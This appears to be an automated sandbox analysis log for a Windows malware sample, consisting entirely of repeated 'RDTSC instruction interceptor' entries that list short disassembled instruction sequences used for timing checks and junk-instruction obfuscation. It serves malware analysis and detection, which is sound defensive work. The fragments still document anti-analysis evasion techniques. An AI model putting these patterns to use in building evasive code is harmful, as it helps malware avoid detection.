Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81FFD8 second address: 81FFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FAC60C4BF32h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81FFF0 second address: 820011 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC6125CCB3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FAC6125CCBCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 820011 second address: 820025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 820025 second address: 82002F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC6125CCACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 826559 second address: 826570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 826570 second address: 82658D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAC6125CCAEh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 825887 second address: 82588C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 825B83 second address: 825B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 825E45 second address: 825E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jno 00007FAC60C4BF32h 0x0000000b jc 00007FAC60C4BF26h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 825FA7 second address: 825FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 825FAB second address: 825FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 82ADC2 second address: 82ADC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 82ADC8 second address: 82ADE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAC60C4BF37h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77A757 second address: 77A77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAC6125CCB4h 0x0000000d jmp 00007FAC6125CCAAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77A77D second address: 77A785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832458 second address: 83246A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FAC6125CCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 83246A second address: 83246E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 83286B second address: 83286F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 83286F second address: 832879 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832879 second address: 832886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832886 second address: 83288C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832A07 second address: 832A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832A0D second address: 832A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832B9D second address: 832BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAC6125CCAEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832D57 second address: 832D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832D60 second address: 832D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832D64 second address: 832D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832EAC second address: 832EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832EB0 second address: 832EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 832EB4 second address: 832EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAC6125CCB4h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAC6125CCB7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 839ABB second address: 839AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8412AA second address: 8412CD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAC6125CCA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC6125CCB1h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8412CD second address: 8412D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8412D1 second address: 8412DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8412DA second address: 8412E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 84CF58 second address: 84CF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 84CF5C second address: 84CF62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 854C4A second address: 854C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a js 00007FAC6125CCA6h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 85D5A6 second address: 85D5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 861C64 second address: 861C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8675A8 second address: 8675AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8675AD second address: 8675B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8675B3 second address: 8675B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8675B7 second address: 8675C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 866156 second address: 86615F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8662BE second address: 8662D9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC6125CCA6h 0x00000008 jmp 00007FAC6125CCB1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 86640E second address: 866412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 866412 second address: 866422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 866422 second address: 86643F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC60C4BF33h 0x00000009 jnc 00007FAC60C4BF26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 86643F second address: 86645F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FAC6125CCBEh 0x0000000c jmp 00007FAC6125CCB2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8672A7 second address: 8672AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8672AC second address: 8672DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FAC6125CCABh 0x0000000b jmp 00007FAC6125CCACh 0x00000010 jbe 00007FAC6125CCA6h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007FAC6125CCA6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 869B82 second address: 869BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF2Ch 0x00000009 pop ebx 0x0000000a jmp 00007FAC60C4BF31h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 86D20C second address: 86D242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAC6125CCA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jo 00007FAC6125CCA6h 0x00000014 push edx 0x00000015 pop edx 0x00000016 jl 00007FAC6125CCA6h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f jmp 00007FAC6125CCB7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 875154 second address: 875158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88A1FF second address: 88A206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88A206 second address: 88A215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FAC60C4BF2Eh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88A368 second address: 88A36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88A36C second address: 88A378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88A378 second address: 88A382 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAC6125CCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88BD4E second address: 88BD6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC60C4BF32h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88BD6C second address: 88BD70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88BD70 second address: 88BD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 88BD76 second address: 88BD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAC6125CCABh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 89FF57 second address: 89FF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAC60C4BF26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A00A9 second address: 8A00B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A00B8 second address: 8A00BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A00BC second address: 8A0103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FAC6125CCABh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FAC6125CCB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAC6125CCB7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A0103 second address: 8A0109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A029E second address: 8A02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A0475 second address: 8A047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A0957 second address: 8A096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCAEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A096B second address: 8A0973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A0973 second address: 8A097B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A097B second address: 8A0981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A0CAA second address: 8A0CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A0CB4 second address: 8A0CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A3A69 second address: 8A3A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A3A6D second address: 8A3A7B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A3A7B second address: 8A3A9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAC6125CCB9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A3DB8 second address: 8A3DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A4052 second address: 8A4057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A4057 second address: 8A40EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF39h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d or edx, dword ptr [ebp+13AB2C7Bh] 0x00000013 push dword ptr [ebp+13AB1AB6h] 0x00000019 mov edx, dword ptr [ebp+13C47B9Fh] 0x0000001f call 00007FAC60C4BF29h 0x00000024 pushad 0x00000025 push edi 0x00000026 pushad 0x00000027 popad 0x00000028 pop edi 0x00000029 pushad 0x0000002a jc 00007FAC60C4BF26h 0x00000030 jmp 00007FAC60C4BF39h 0x00000035 popad 0x00000036 popad 0x00000037 push eax 0x00000038 jmp 00007FAC60C4BF2Ch 0x0000003d mov eax, dword ptr [esp+04h] 0x00000041 jmp 00007FAC60C4BF39h 0x00000046 mov eax, dword ptr [eax] 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A40EC second address: 8A40F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A40F0 second address: 8A40F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
